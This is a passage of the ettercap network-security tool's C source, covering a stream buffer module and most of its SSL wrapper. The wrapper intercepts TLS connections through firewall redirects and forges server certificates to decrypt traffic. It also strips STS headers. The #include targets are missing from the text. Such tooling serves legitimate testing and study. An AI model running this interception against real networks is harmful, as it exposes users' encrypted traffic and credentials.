octet >>= 1; } return res; } unsigned long asn1_bit_string_to_long(uint8_t *buf, size_t len) { unsigned long val = 0; uint8_t *pos = buf; /* BER requires that unused bits are zero, so we can ignore the number * of unused bits */ pos++; if (len >= 2) val |= rotate_bits(*pos++); if (len >= 3) val |= ((unsigned long)rotate_bits(*pos++)) << 8; if (len >= 4) val |= ((unsigned long)rotate_bits(*pos++)) << 16; if (len >= 5) val |= ((unsigned long)rotate_bits(*pos++)) << 24; if (len >= 6) { DEBUG_MSG("X509: %s - some bits ignored " "(BIT STRING length %lu)", __FUNCTION__, (unsigned long)len); } return val; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_streambuf.c0000644000175000017500000001411713505247364016572 0ustar koeppeakoeppea/* ettercap -- stream buffer module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* mutexes */ #define STREAMBUF_INIT_LOCK(x) do{ pthread_mutex_init(&x, NULL); }while(0) #define STREAMBUF_LOCK(x) do{ pthread_mutex_lock(&x); }while(0) #define STREAMBUF_UNLOCK(x) do{ pthread_mutex_unlock(&x); }while(0) /************************************************/ /* * initialize the buffer */ void streambuf_init(struct stream_buf *sb) { //DEBUG_MSG("streambuf_init"); /* init the size */ sb->size = 0; /* init the tail */ TAILQ_INIT(&sb->streambuf_tail); /* init the mutex */ STREAMBUF_INIT_LOCK(sb->streambuf_mutex); } /* * add the packet to the stream_buf. */ int streambuf_add(struct stream_buf *sb, struct packet_object *po) { struct stream_pck_list *p; SAFE_CALLOC(p, 1, sizeof(struct stream_pck_list)); /* fill the struct */ p->size = po->DATA.len; p->ptr = 0; /* copy the buffer */ SAFE_CALLOC(p->buf, po->DATA.len, sizeof(u_char)); memcpy(p->buf, po->DATA.data, po->DATA.len); STREAMBUF_LOCK(sb->streambuf_mutex); /* insert the packet in the tail */ TAILQ_INSERT_TAIL(&sb->streambuf_tail, p, next); /* update the total size */ sb->size += p->size; STREAMBUF_UNLOCK(sb->streambuf_mutex); return 0; } /* Insert data into the buffer only if it matches the correct * TCP sequence. It is a simple workaround used to avoid duplicated * packets in TCP streaming. If we see the same sequence twice, this * is a duplicated packet. */ int streambuf_seq_add(struct stream_buf *sb, struct packet_object *po) { /* Same seq twice? a duplicated pck */ if( sb->tcp_seq == po->L4.seq ) return 0; sb->tcp_seq = po->L4.seq; return streambuf_add(sb, po); } /* * copies in the 'buf' the first 'len' bytes * of the stream buffer * * STREAM_ATOMIC returns an error if there is not enough * data to fill 'len' bytes in 'buf' * * STREAM_PARTIAL will fill the buffer 'buf' with the data * contained in the streambuf even if it is * less than 'len'. size is returned accordingly */ int streambuf_get(struct stream_buf *sb, u_char *buf, size_t len, int mode) { struct stream_pck_list *p; struct stream_pck_list *tmp = NULL; size_t size = 0, to_copy = 0; /* check if we have enough data */ if (mode == STREAM_ATOMIC && sb->size < len) return -E_INVALID; STREAMBUF_LOCK(sb->streambuf_mutex); /* packets in the tail */ TAILQ_FOREACH_SAFE(p, &sb->streambuf_tail, next, tmp) { /* we have copied all the needed bytes */ if (size >= len) break; /* calculate the length to be copied */ if (len - size < p->size) to_copy = len - size; else to_copy = p->size; if (p->ptr + to_copy > p->size) to_copy = p->size - p->ptr; /* * copy the data in the buffer * p->ptr is the pointer to last read * byte if the buffer was read partially */ memcpy(buf + size, p->buf + p->ptr, to_copy); /* bytes in the buffer 'buf' */ size += to_copy; /* remember how may byte we have read */ p->ptr += to_copy; /* packet not completed */ if (p->ptr < p->size) { break; } /* remove the entry from the tail */ SAFE_FREE(p->buf); TAILQ_REMOVE(&sb->streambuf_tail, p, next); SAFE_FREE(p); } /* update the total size */ sb->size -= size; STREAMBUF_UNLOCK(sb->streambuf_mutex); return size; } /* Same as streambuf_get(), but this will not erase * read data from the buffer */ int streambuf_read(struct stream_buf *sb, u_char *buf, size_t len, int mode) { struct stream_pck_list *p; size_t size = 0, to_copy = 0; /* check if we have enough data */ if (mode == STREAM_ATOMIC && sb->size < len) return -E_INVALID; STREAMBUF_LOCK(sb->streambuf_mutex); /* packets in the tail */ TAILQ_FOREACH(p, &sb->streambuf_tail, next) { /* we have copied all the needed bytes */ if (size >= len) break; /* calculate the length to be copied */ if (len - size < p->size) to_copy = len - size; else to_copy = p->size; if (p->ptr + to_copy > p->size) to_copy = p->size - p->ptr; /* * copy the data in the buffer * p->ptr is the pointer to last read * byte if the buffer was read partially */ memcpy(buf + size, p->buf + p->ptr, to_copy); /* bytes in the buffer 'buf' */ size += to_copy; /* packet not completed */ if (p->ptr + to_copy < p->size) { break; } } STREAMBUF_UNLOCK(sb->streambuf_mutex); return size; } /* * empty a give buffer. * all the elements in the list are deleted */ void streambuf_wipe(struct stream_buf *sb) { struct stream_pck_list *e; DEBUG_MSG("streambuf_wipe"); STREAMBUF_LOCK(sb->streambuf_mutex); /* delete the list */ while ((e = TAILQ_FIRST(&sb->streambuf_tail)) != TAILQ_END(&sb->streambuf_tail)) { TAILQ_REMOVE(&sb->streambuf_tail, e, next); SAFE_FREE(e->buf); SAFE_FREE(e); } /* reset the buffer */ TAILQ_INIT(&sb->streambuf_tail); STREAMBUF_UNLOCK(sb->streambuf_mutex); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_sslwrap.c0000644000175000017500000010141613505247364016274 0ustar koeppeakoeppea/* ettercap -- SSL support Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef OS_LINUX #include #endif #if defined OS_LINUX && defined WITH_IPV6 #include #endif #include #include // XXX - check if we have poll.h #ifdef HAVE_SYS_POLL_H #include #endif /* don't include kerberos. RH sux !! */ #define OPENSSL_NO_KRB5 1 #include #if (OPENSSL_VERSION_NUMBER >= 0x10100000L) #define HAVE_OPAQUE_RSA_DSA_DH 1 /* since 1.1.0 -pre5 */ #endif #define BREAK_ON_ERROR(x,y,z) do { \ if (x == -E_INVALID) { \ SAFE_FREE(z.DATA.disp_data); \ sslw_initialize_po(&z, z.DATA.data); \ z.len = 64; \ z.L4.flags = TH_RST; \ packet_disp_data(&z, z.DATA.data, z.DATA.len); \ sslw_parse_packet(y, SSL_SERVER, &z); \ sslw_wipe_connection(y); \ SAFE_FREE(z.DATA.data); \ SAFE_FREE(z.DATA.disp_data); \ ec_thread_exit(); \ } \ } while(0) /* globals */ static LIST_HEAD (, listen_entry) listen_ports; struct listen_entry { int fd; int fd6; u_int16 sslw_port; /* Port where we want to wrap SSL */ u_int16 redir_port; /* Port where accepts connections */ u_char status; /* Use directly SSL or not */ char *name; LIST_ENTRY (listen_entry) next; }; struct accepted_entry { int32 fd[2]; /* 0->Client, 1->Server */ u_int16 port[2]; struct ip_addr ip[2]; SSL *ssl[2]; u_char status; X509 *cert; #define SSL_CLIENT 0 #define SSL_SERVER 1 }; /* Session identifier * It has to be of even length for session hash matching */ struct sslw_ident { u_int32 magic; #define SSLW_MAGIC 0x0501e77e struct ip_addr L3_src; u_int16 L4_src; u_int16 L4_dst; }; #define SSLW_IDENT_LEN sizeof(struct sslw_ident) #define SSLW_RETRY 500 #define SSLW_WAIT 10 /* 10 milliseconds */ #define TSLEEP (50*1000) /* 50 milliseconds */ static SSL_CTX *ssl_ctx_client, *ssl_ctx_server; static EVP_PKEY *global_pk; static u_int16 number_of_services; static struct pollfd *poll_fd = NULL; static EC_THREAD_FUNC(sslw_child); static int sslw_is_ssl(struct packet_object *po); static int sslw_connect_server(struct accepted_entry *ae); static int sslw_sync_conn(struct accepted_entry *ae); static int sslw_get_peer(struct accepted_entry *ae); static void sslw_bind_wrapper(void); static int sslw_read_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po); static int sslw_write_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po); static void sslw_wipe_connection(struct accepted_entry *ae); static void sslw_init(void); static void sslw_initialize_po(struct packet_object *po, u_char *p_data); static int sslw_match(void *id_sess, void *id_curr); static void sslw_create_session(struct ec_session **s, struct packet_object *po); static size_t sslw_create_ident(void **i, struct packet_object *po); static void sslw_hook_handled(struct packet_object *po); static X509 *sslw_create_selfsigned(X509 *serv_cert); static void ssl_wrap_fini(void); static int sslw_ssl_connect(SSL *ssl_sk); static int sslw_ssl_accept(SSL *ssl_sk); static int sslw_remove_sts(struct packet_object *po); /*******************************************/ /* * Register a new ssl wrapper */ void sslw_dissect_add(char *name, u_int32 port, FUNC_DECODER_PTR(decoder), u_char status) { struct listen_entry *le; SAFE_CALLOC(le, 1, sizeof(struct listen_entry)); le->sslw_port = port; le->status = status; le->name = name; /* Insert it in the port list where listen for connections */ LIST_INSERT_HEAD(&listen_ports, le, next); dissect_add(name, APP_LAYER_TCP, port, decoder); } /* * Move a ssl_wrapper on another port */ void sslw_dissect_move(char *name, u_int16 port) { struct listen_entry *le, *tmp; LIST_FOREACH_SAFE(le, &listen_ports, next, tmp) if(!strcmp(name, le->name)) { DEBUG_MSG("sslw_dissect_move: %s [%u]", name, port); le->sslw_port = port; /* Move to zero means disable */ if (port == 0) { LIST_REMOVE(le, next); SAFE_FREE(le); } } } /* * Initialize the ssl wrappers */ void ssl_wrap_init(void) { struct listen_entry *le; /* disable if the aggressive flag is not set */ if (!EC_GBL_CONF->aggressive_dissectors) { DEBUG_MSG("ssl_wrap_init: not aggressive"); return; } /* a valid script for the redirection must be set */ if (!EC_GBL_CONF->redir_command_on) { DEBUG_MSG("ssl_wrap_init: no redirect script"); USER_MSG("SSL dissection needs a valid 'redir_command_on' script in the etter.conf file\n"); return; } DEBUG_MSG("ssl_wrap_init"); sslw_init(); sslw_bind_wrapper(); /* Add the hook to block real ssl packet going to top half */ hook_add(HOOK_HANDLED, &sslw_hook_handled); number_of_services = 0; LIST_FOREACH(le, &listen_ports, next) number_of_services++; #ifdef WITH_IPV6 /* with IPv6 enabled we actually duplicate the number of listener sockets */ number_of_services *= 2; #endif SAFE_CALLOC(poll_fd, 1, sizeof(struct pollfd) * number_of_services); atexit(ssl_wrap_fini); } static void ssl_wrap_fini(void) { struct listen_entry *le, *old; DEBUG_MSG("ATEXIT: ssl_wrap_fini"); /* remove every redirect rule and close listener sockets */ LIST_FOREACH_SAFE(le, &listen_ports, next, old) { close(le->fd); #ifdef WITH_IPV6 close(le->fd6); #endif LIST_REMOVE(le, next); SAFE_FREE(le); } SSL_CTX_free(ssl_ctx_server); SSL_CTX_free(ssl_ctx_client); /* remove redirects */ ec_redirect_cleanup(); } /* * SSL thread main function. */ EC_THREAD_FUNC(sslw_start) { struct listen_entry *le; struct accepted_entry *ae; struct sockaddr_storage client_ss; struct sockaddr *sa; struct sockaddr_in *sa4; #ifdef WITH_IPV6 struct sockaddr_in6 *sa6; #endif u_int len = sizeof(client_ss); int fd = 0, nfds = 0, i = 0; /* variable not used */ (void) EC_THREAD_PARAM; ec_thread_init(); /* disabled if not aggressive */ if (!EC_GBL_CONF->aggressive_dissectors) return NULL; /* a valid script for the redirection must be set */ if (!EC_GBL_CONF->redir_command_on) return NULL; DEBUG_MSG("sslw_start: initialized and ready"); /* set the polling on all registered services */ LIST_FOREACH(le, &listen_ports, next) { poll_fd[nfds].fd = le->fd; poll_fd[nfds].events = POLLIN; #ifdef WITH_IPV6 nfds++; poll_fd[nfds].fd = le->fd6; poll_fd[nfds].events = POLLIN; #endif nfds++; } LOOP { poll(poll_fd, nfds, -1); /* Find out which file descriptor got active */ for (i=0; ifd) { fd = le->fd; break; } #ifdef WITH_IPV6 if (poll_fd[i].fd == le->fd6) { fd = le->fd6; break; } #endif } DEBUG_MSG("ssl_wrapper -- got a connection on port %d [%d]", le->redir_port, le->sslw_port); SAFE_CALLOC(ae, 1, sizeof(struct accepted_entry)); ae->fd[SSL_CLIENT] = accept(fd, (struct sockaddr *)&client_ss, &len); /* Error checking */ if (ae->fd[SSL_CLIENT] == -1) { SAFE_FREE(ae); continue; } /* Set the server original port for protocol dissection */ ae->port[SSL_SERVER] = htons(le->sslw_port); /* Check if we have to enter SSL status */ ae->status = le->status; /* Set the peer (client) in the connection list entry */ sa = (struct sockaddr *)&client_ss; switch (sa->sa_family) { case AF_INET: sa4 = (struct sockaddr_in *)&client_ss; ae->port[SSL_CLIENT] = sa4->sin_port; ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); break; #ifdef WITH_IPV6 case AF_INET6: sa6 = (struct sockaddr_in6 *)&client_ss; ae->port[SSL_CLIENT] = sa6->sin6_port; ip_addr_init(&(ae->ip[SSL_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); break; #endif } /* create a detached thread */ ec_thread_new_detached("sslw_child", "ssl child", &sslw_child, ae, 1); } } return NULL; } /* * Filter SSL related packets and create NAT sessions. * It hooks HOOK_HANDLED. */ static void sslw_hook_handled(struct packet_object *po) { struct ec_session *s = NULL; /* We have nothing to do with this packet */ if (!sslw_is_ssl(po)) return; /* If it's an ssl packet don't forward */ po->flags |= PO_DROPPED; /* If it's a new connection */ if ( (po->flags & PO_FORWARDABLE) && (po->L4.flags & TH_SYN) && !(po->L4.flags & TH_ACK) ) { sslw_create_session(&s, PACKET); #ifndef OS_LINUX /* Remember the real destination IP */ memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr)); session_put(s); #else SAFE_FREE(s); /* Just get rid of it */ #endif } else /* Pass only the SYN for conntrack */ po->flags |= PO_IGNORE; } /* * Check if this packet is for ssl wrappers */ static int sslw_is_ssl(struct packet_object *po) { struct listen_entry *le; /* If it's already coming from ssl wrapper * or the connection is not TCP */ if (po->flags & PO_FROMSSL || po->L4.proto != NL_TYPE_TCP) return 0; LIST_FOREACH(le, &listen_ports, next) { if (ntohs(po->L4.dst) == le->sslw_port || ntohs(po->L4.src) == le->sslw_port) return 1; } return 0; } /* * Bind all registered wrappers to free ports * and isnert redirects. */ static void sslw_bind_wrapper(void) { u_int16 bind_port = EC_MAGIC_16; struct listen_entry *le; struct sockaddr_in sa_in; #ifdef WITH_IPV6 struct sockaddr_in6 sa_in6; int optval = 1; #endif LIST_FOREACH(le, &listen_ports, next) { le->fd = socket(AF_INET, SOCK_STREAM, 0); if (le->fd == -1) FATAL_ERROR("Unable to create socket in sslw_bind_wrapper()"); memset(&sa_in, 0, sizeof(sa_in)); sa_in.sin_family = AF_INET; sa_in.sin_addr.s_addr = INADDR_ANY; do { bind_port++; sa_in.sin_port = htons(bind_port); le->redir_port = bind_port; } while ( bind(le->fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0); DEBUG_MSG("sslw - bind %d on %d", le->sslw_port, le->redir_port); if(listen(le->fd, 100) == -1) FATAL_ERROR("Unable to accept connections for socket"); #ifdef WITH_IPV6 /* create & bind IPv6 socket on the same port */ le->fd6 = socket(AF_INET6, SOCK_STREAM, 0); if (le->fd6 == -1) FATAL_ERROR("Unable to create socket in sslw_bind_wrapper() for IPv6"); memset(&sa_in6, 0, sizeof(sa_in6)); sa_in6.sin6_family = AF_INET6; sa_in6.sin6_addr = in6addr_any; sa_in6.sin6_port = htons(bind_port); /* we only listen on v6 as we use dedicated sockets per AF */ if (setsockopt(le->fd6, IPPROTO_IPV6, IPV6_V6ONLY, &optval, sizeof(optval)) == -1) FATAL_ERROR("Unable to set IPv6 socket to IPv6 only in sslw_bind_wrapper(): %s", strerror(errno)); /* bind to IPv6 on the same port as the IPv4 socket */ if (bind(le->fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) FATAL_ERROR("Unable to bind() IPv6 socket to port %d in sslw_bind_wrapper(): %s", bind_port, strerror(errno)); if(listen(le->fd6, 100) == -1) FATAL_ERROR("Unable to accept connections for IPv6 socket"); #else /* properly init fd even if unused - necessary for select call */ le->fd6 = 0; #endif if (ec_redirect(EC_REDIR_ACTION_INSERT, le->name, EC_REDIR_PROTO_IPV4, NULL, NULL, le->sslw_port, le->redir_port) != E_SUCCESS) FATAL_ERROR("Can't insert firewall redirects"); #ifdef WITH_IPV6 if (ec_redirect(EC_REDIR_ACTION_INSERT, le->name, EC_REDIR_PROTO_IPV6, NULL, NULL, le->sslw_port, le->redir_port) != E_SUCCESS) FATAL_ERROR("Can't insert firewall redirects"); #endif } } /* * Create TCP a connection to the real SSL server */ static int sslw_sync_conn(struct accepted_entry *ae) { if(sslw_get_peer(ae) != E_SUCCESS) return -E_INVALID; if(sslw_connect_server(ae) != E_SUCCESS) return -E_INVALID; /* set nonbloking socket */ set_blocking(ae->fd[SSL_CLIENT], 0); set_blocking(ae->fd[SSL_SERVER], 0); return E_SUCCESS; } /* * Perform a blocking SSL_connect with a * configurable timeout on a non-blocing socket */ static int sslw_ssl_connect(SSL *ssl_sk) { int loops = (EC_GBL_CONF->connect_timeout * 10e5) / TSLEEP; int ret, ssl_err; do { /* connect to the server */ if ( (ret = SSL_connect(ssl_sk)) == 1) return E_SUCCESS; ssl_err = SSL_get_error(ssl_sk, ret); /* there was an error... */ if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) return -E_INVALID; /* sleep a quirk of time... */ ec_usleep(TSLEEP); } while(loops--); return -E_INVALID; } /* * Perform a blocking SSL_accept with a * configurable timeout on a non-blocing socket */ static int sslw_ssl_accept(SSL *ssl_sk) { int loops = (EC_GBL_CONF->connect_timeout * 10e5) / TSLEEP; int ret, ssl_err; do { /* accept the ssl connection */ if ( (ret = SSL_accept(ssl_sk)) == 1) return E_SUCCESS; ssl_err = SSL_get_error(ssl_sk, ret); /* there was an error... */ if (ssl_err != SSL_ERROR_WANT_READ && ssl_err != SSL_ERROR_WANT_WRITE) return -E_INVALID; /* sleep a quirk of time... */ ec_usleep(TSLEEP); } while(loops--); return -E_INVALID; } /* * Create an SSL connection to the real server. * Grab server certificate and create a fake one * for the poor client. * Then accept the SSL connection from the client. */ static int sslw_sync_ssl(struct accepted_entry *ae) { X509 *server_cert; ae->ssl[SSL_SERVER] = SSL_new(ssl_ctx_server); SSL_set_connect_state(ae->ssl[SSL_SERVER]); SSL_set_fd(ae->ssl[SSL_SERVER], ae->fd[SSL_SERVER]); ae->ssl[SSL_CLIENT] = SSL_new(ssl_ctx_client); SSL_set_fd(ae->ssl[SSL_CLIENT], ae->fd[SSL_CLIENT]); if (sslw_ssl_connect(ae->ssl[SSL_SERVER]) != E_SUCCESS) return -E_INVALID; /* XXX - NULL cypher can give no certificate */ if ( (server_cert = SSL_get_peer_certificate(ae->ssl[SSL_SERVER])) == NULL) { DEBUG_MSG("Can't get peer certificate"); return -E_INVALID; } if (!EC_GBL_OPTIONS->ssl_cert) { /* Create the fake certificate */ ae->cert = sslw_create_selfsigned(server_cert); X509_free(server_cert); if (ae->cert == NULL) return -E_INVALID; SSL_use_certificate(ae->ssl[SSL_CLIENT], ae->cert); } if (sslw_ssl_accept(ae->ssl[SSL_CLIENT]) != E_SUCCESS) return -E_INVALID; return E_SUCCESS; } /* * Take the IP address of the server * that the client wants to talk to. */ static int sslw_get_peer(struct accepted_entry *ae) { /* If on Linux, we can just get the SO_ORIGINAL_DST from getsockopt() no need for this loop nonsense. */ #ifndef OS_LINUX struct ec_session *s = NULL; struct packet_object po; void *ident = NULL; int i; /* Take the server IP address from the NAT sessions */ memcpy(&po.L3.src, &ae->ip[SSL_CLIENT], sizeof(struct ip_addr)); po.L4.src = ae->port[SSL_CLIENT]; po.L4.dst = ae->port[SSL_SERVER]; sslw_create_ident(&ident, &po); /* * A little waiting loop because the sniffing thread , * which creates the session, may be slower than this */ for (i=0; iip[SSL_SERVER], s->data, sizeof(struct ip_addr)); SAFE_FREE(s->data); SAFE_FREE(s); SAFE_FREE(ident); #else struct sockaddr_storage ss; struct sockaddr_in *sa4; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST struct sockaddr_in6 *sa6; #endif socklen_t ss_len = sizeof(struct sockaddr_storage); switch (ntohs(ae->ip[SSL_CLIENT].addr_type)) { case AF_INET: if (getsockopt(ae->fd[SSL_CLIENT], SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) { WARN_MSG("getsockopt failed: %s", strerror(errno)); return -E_INVALID; } sa4 = (struct sockaddr_in *)&ss; ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); break; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST case AF_INET6: if (getsockopt(ae->fd[SSL_CLIENT], IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) { WARN_MSG("getsockopt failed: %s", strerror(errno)); return -E_INVALID; } sa6 = (struct sockaddr_in6 *)&ss; ip_addr_init(&(ae->ip[SSL_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); break; #endif } #endif return E_SUCCESS; } /* * Take the other peer (server) from ssl-decoders' sessions * and contact it. * Check if we have to enter SSL state. */ static int sslw_connect_server(struct accepted_entry *ae) { char dest_ip[MAX_ASCII_ADDR_LEN]; ip_addr_ntoa(&ae->ip[SSL_SERVER], dest_ip); /* Standard connection to the server */ if ((ae->fd[SSL_SERVER] = open_socket(dest_ip, ntohs(ae->port[SSL_SERVER]))) < 0) { DEBUG_MSG("Could not open socket"); return -E_INVALID; } return E_SUCCESS; } /* * Read the data from an accepted connection. * Check if it already entered SSL state. */ static int sslw_read_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) { int len, ret_err; if (ae->status & SSL_ENABLED) len = SSL_read(ae->ssl[direction], po->DATA.data, 1024); else //len = socket_recv(ae->fd[direction], po->DATA.data, 1024); len = read(ae->fd[direction], po->DATA.data, 1024); /* XXX - Check when it returns 0 (it was a <)*/ if (len <= 0 && (ae->status & SSL_ENABLED)) { ret_err = SSL_get_error(ae->ssl[direction], len); /* XXX - Is it necessary? */ if (len == 0) return -E_INVALID; if (ret_err == SSL_ERROR_WANT_READ || ret_err == SSL_ERROR_WANT_WRITE) return -E_NOTHANDLED; else return -E_INVALID; } /* Only if no ssl */ if (len < 0) { int err = GET_SOCK_ERRNO(); if (err == EINTR || err == EAGAIN) return -E_NOTHANDLED; else return -E_INVALID; } /* XXX - On standard reads, close is 0? (EOF)*/ if (len == 0) return -E_INVALID; po->len = len; po->DATA.len = len; po->L4.flags |= TH_PSH; /* NULL terminate the data buffer */ po->DATA.data[po->DATA.len] = 0; /* remove STS header */ if (direction == SSL_SERVER) sslw_remove_sts(po); /* create the buffer to be displayed */ packet_destroy_object(po); packet_disp_data(po, po->DATA.data, po->DATA.len); return E_SUCCESS; } /* * Write the data into an accepted connection. * Check if it already entered SSL state. */ static int sslw_write_data(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) { int32 len, packet_len, not_written, ret_err; u_char *p_data; packet_len = (int32)(po->DATA.len + po->DATA.inject_len); p_data = po->DATA.data; if (packet_len == 0) return E_SUCCESS; do { not_written = 0; /* Write packet data */ if (ae->status & SSL_ENABLED) len = SSL_write(ae->ssl[direction], p_data, packet_len); else //len = socket_send(ae->fd[direction], p_data, packet_len); len = write(ae->fd[direction], p_data, packet_len); if (len <= 0 && (ae->status & SSL_ENABLED)) { ret_err = SSL_get_error(ae->ssl[direction], len); if (ret_err == SSL_ERROR_WANT_READ || ret_err == SSL_ERROR_WANT_WRITE) not_written = 1; else return -E_INVALID; } if (len < 0 && !(ae->status & SSL_ENABLED)) { int err = GET_SOCK_ERRNO(); if (err == EINTR || err == EAGAIN) not_written = 1; else return -E_INVALID; } /* XXX - does some OS use partial writes for SSL? */ if (len < packet_len && !not_written ) { DEBUG_MSG("SSL-Wrapper partial writes: to be implemented..."); packet_len -= len; p_data += len; not_written = 1; } /* XXX - Set a proper sleep time */ if (not_written) ec_usleep(SEC2MICRO(1)); } while (not_written); return E_SUCCESS; } /* * Fill the packet object and put it in * the dissector stack (above protocols decoders) */ static void sslw_parse_packet(struct accepted_entry *ae, u_int32 direction, struct packet_object *po) { FUNC_DECODER_PTR(start_decoder); int len; /* * ssl childs keep the connection alive even if the sniffing thread * was stopped. But don't add packets to top-half queue. */ if (!EC_GBL_SNIFF->active) return; memcpy(&po->L3.src, &ae->ip[direction], sizeof(struct ip_addr)); memcpy(&po->L3.dst, &ae->ip[!direction], sizeof(struct ip_addr)); po->L4.src = ae->port[direction]; po->L4.dst = ae->port[!direction]; po->flags |= PO_FROMSSL; /* get current time */ gettimeofday(&po->ts, NULL); /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { case E_SUCCESS: PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); PACKET->PASSIVE.flags |= FP_HOST_LOCAL; break; case -E_NOTFOUND: PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; break; case -E_INVALID: PACKET->PASSIVE.flags = FP_UNKNOWN; break; } /* Let's start from the last stage of decoder chain */ start_decoder = get_decoder(APP_LAYER, PL_DEFAULT); start_decoder(po->DATA.data, po->DATA.len, &len, po); } /* * Remove the connection from the accepted * list and close both sockets. */ static void sslw_wipe_connection(struct accepted_entry *ae) { if (ae->ssl[SSL_CLIENT]) SSL_free(ae->ssl[SSL_CLIENT]); if (ae->ssl[SSL_SERVER]) SSL_free(ae->ssl[SSL_SERVER]); close_socket(ae->fd[SSL_CLIENT]); close_socket(ae->fd[SSL_SERVER]); if (ae->cert) X509_free(ae->cert); if(ae) SAFE_FREE(ae); } /* * Initialize a fake PO to be passed to top half */ static void sslw_initialize_po(struct packet_object *po, u_char *p_data) { /* * Allocate the data buffer and initialize * fake headers. Headers len is set to 0. * XXX - Be sure to not modify these len. */ memset(po, 0, sizeof(struct packet_object)); if (p_data == NULL) { SAFE_CALLOC(po->DATA.data, 1, UINT16_MAX); } else { if (po->DATA.data != p_data) { SAFE_FREE(po->DATA.data); po->DATA.data = p_data; } } po->L2.header = po->DATA.data; po->L3.header = po->DATA.data; po->L3.options = po->DATA.data; po->L4.header = po->DATA.data; po->L4.options = po->DATA.data; po->fwd_packet = po->DATA.data; po->packet = po->DATA.data; po->L3.proto = htons(LL_TYPE_IP); po->L3.ttl = 64; po->L4.proto = NL_TYPE_TCP; } /* * Create a self-signed certificate */ static X509 *sslw_create_selfsigned(X509 *server_cert) { X509 *out_cert; X509_EXTENSION *ext; int index = 0; if ((out_cert = X509_new()) == NULL) return NULL; /* Set out public key, real server name... */ X509_set_version(out_cert, X509_get_version(server_cert)); ASN1_INTEGER_set(X509_get_serialNumber(out_cert), EC_MAGIC_32); X509_set_notBefore(out_cert, X509_get_notBefore(server_cert)); X509_set_notAfter(out_cert, X509_get_notAfter(server_cert)); X509_set_pubkey(out_cert, global_pk); X509_set_subject_name(out_cert, X509_get_subject_name(server_cert)); X509_set_issuer_name(out_cert, X509_get_issuer_name(server_cert)); /* Modify the issuer a little bit */ //X509_NAME_add_entry_by_txt(X509_get_issuer_name(out_cert), "L", MBSTRING_ASC, " ", -1, -1, 0); index = X509_get_ext_by_NID(server_cert, NID_authority_key_identifier, -1); if (index >=0) { ext = X509_get_ext(server_cert, index); #ifdef HAVE_OPAQUE_RSA_DSA_DH ASN1_OCTET_STRING* os; os = X509_EXTENSION_get_data (ext); #endif if (ext) { #ifdef HAVE_OPAQUE_RSA_DSA_DH os->data[7] = 0xe7; os->data[8] = 0x7e; X509_EXTENSION_set_data (ext, os); #else ext->value->data[7] = 0xe7; ext->value->data[8] = 0x7e; #endif X509_add_ext(out_cert, ext, -1); } } /* Self-sign our certificate */ if (!X509_sign(out_cert, global_pk, EVP_sha1())) { X509_free(out_cert); DEBUG_MSG("Error self-signing X509"); return NULL; } return out_cert; } /* * Initialize SSL stuff */ static void sslw_init(void) { SSL *dummy_ssl=NULL; SSL_library_init(); /* Create the two global CTX */ ssl_ctx_client = SSL_CTX_new(SSLv23_server_method()); ssl_ctx_server = SSL_CTX_new(SSLv23_client_method()); ON_ERROR(ssl_ctx_client, NULL, "Could not create client SSL CTX"); ON_ERROR(ssl_ctx_server, NULL, "Could not create server SSL CTX"); if(EC_GBL_OPTIONS->ssl_pkey) { /* Get our private key from the file specified from cmd-line */ DEBUG_MSG("Using custom private key %s", EC_GBL_OPTIONS->ssl_pkey); if (SSL_CTX_use_PrivateKey_file(ssl_ctx_client, EC_GBL_OPTIONS->ssl_pkey, SSL_FILETYPE_PEM) == 0) { FATAL_ERROR("Can't open \"%s\" file : %s", EC_GBL_OPTIONS->ssl_pkey, strerror(errno)); } if (EC_GBL_OPTIONS->ssl_cert) { if (SSL_CTX_use_certificate_file(ssl_ctx_client, EC_GBL_OPTIONS->ssl_cert, SSL_FILETYPE_PEM) == 0) { FATAL_ERROR("Can't open \"%s\" file : %s", EC_GBL_OPTIONS->ssl_cert, strerror(errno)); } if (!SSL_CTX_check_private_key(ssl_ctx_client)) { FATAL_ERROR("Certificate \"%s\" does not match private key \"%s\"", 